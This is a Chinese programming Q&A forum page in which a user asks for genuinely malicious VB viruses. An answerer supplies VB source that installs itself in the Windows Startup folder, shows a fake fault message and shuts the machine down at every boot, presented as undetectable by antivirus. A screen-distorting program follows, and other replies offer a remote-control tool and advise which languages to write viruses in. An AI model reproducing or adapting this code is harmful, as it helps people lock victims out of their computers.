当前位置:编程学习 > VB >>

求。病毒编制语言可以用VB吗?

求大师学艺。
追问:哥们,我要的是求VB新正经的恶意病毒,不是恶搞的、
答案:程序要放在form-load()里面 就可以了

你那个不好玩 给你一个好玩的

Private Sub Form_Activate()
FileCopy App.Path & "\dxz.exe", "C:\Documents and Settings\Administrator\「开始」菜单\程序\dxz.exe"
FileCopy App.Path & "\dxz.lnk", "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\dxz.lnk"
MsgBox "电脑出现未知故障,需要关闭。"
'Shell "cmd.exe /c shutdown -s -t " & 1
End
End Sub
然后在程序目录下新建一个快捷方式 指向C:\Documents and Settings\Administrator\「开始」菜单\程序\dxz.exe

就可以了

ps:这个程序就是你的电脑开机以后它自动运行,执行关机。你的电脑基本上就开不了机啦。主流杀毒软件都查不出病毒

提问人的追问 2010-02-27 20:20

还有其他吗?

回答人的补充 2010-02-27 20:37

你可以考虑把自动关机改为重新启动

还有一个扭曲屏幕的

很变态的程序,有点世界末日的感觉,幸好不是病毒,我可怜的显卡。

源码如下:

VB

新建两个timer计时器对象,一个叫Timer1,一个叫tmr1,把计时器的Interval属性调为一,然后粘贴代码就行了

'the program basically uses a temporary buffer to randomly copy a portion of
'screen(32x32'in this case) an then paste it back shifting it slightly from
'the original position in the process

'made by 1990dxz
Option Explicit
Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source

Dim x As Integer, y As Integer
Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeyEscape Then
Unload Me
End If
End Sub

Private Sub Form_Load()
'To get the device context for the desktop(whole screen)
Desktop = GetWindowDC(GetDesktopWindow())

'to create a device context compatible with a known device context
'and assign it to a long variable
hBitmap = CreateCompatibleDC(Desktop)
hScreen = CreateCompatibleDC(Desktop)

'to create bitmaps in memory for temporary storage compatible with a known bitmap
Buffer = CreateCompatibleBitmap(Desktop, 32, 32)
ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)

'assign device contexts to the bitmaps
SelectObject hBitmap, Buffer
SelectObject hScreen, ScreenBuffer

'save the screen for later restoration
BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY
End Sub


Private Sub Form_Unload(Cancel As Integer)
'restores the desktop to the saved picture when program ends
'try to comment out following line and see
BitBlt Desktop, 0, 0, Screen.Width / 15, Screen.Height / 15, hScreen, 0, 0, SRCCOPY

End Sub

Private Sub tmr1_Timer()
y = (Screen.Height / 15) * Rnd
x = (Screen.Width / 15) * Rnd

'copy 32x32 portion of screen into buffer at x,y
BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY

'paste back slightly shifting the values for x and y
BitBlt Desktop, x + (3 - 6 * Rnd), y + (2 - 4 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY

End Sub

Private Sub Timer1_Timer()
y = (Screen.Height / 15) * Rnd
x = (Screen.Width / 15) * Rnd

'copy 32x32 portion of screen into buffer at x,y
BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY

'paste back slightly shifting the values for x and y
BitBlt Desktop, x + (3 - 6 * Rnd), y + (2 - 4 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY
End Sub

代码网上有。只是举例、这个问题上次我也回答过了。不想在说了。

我会做远控你要不

可以 但是 VB不是最推荐的 因为 VB会依赖一个叫 MSVBX0.DLL的 运行库 写病毒建议用 C++ 汇编 或者 DELPHI

VB可以做病毒,在正常的XP系统下都能运行,上面那个所说的是正确的,VB是需要依赖 MSVBX0.DLL的 运行库 ,不过你可以另用别的软件把它们打包,这样就能通用了

只要你使用API函数就可以编出病毒,

上一个:怎么在VB中实现自动点击网页指定内容?
下一个:vb 中怎么最简单的连接一个数据库?

CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,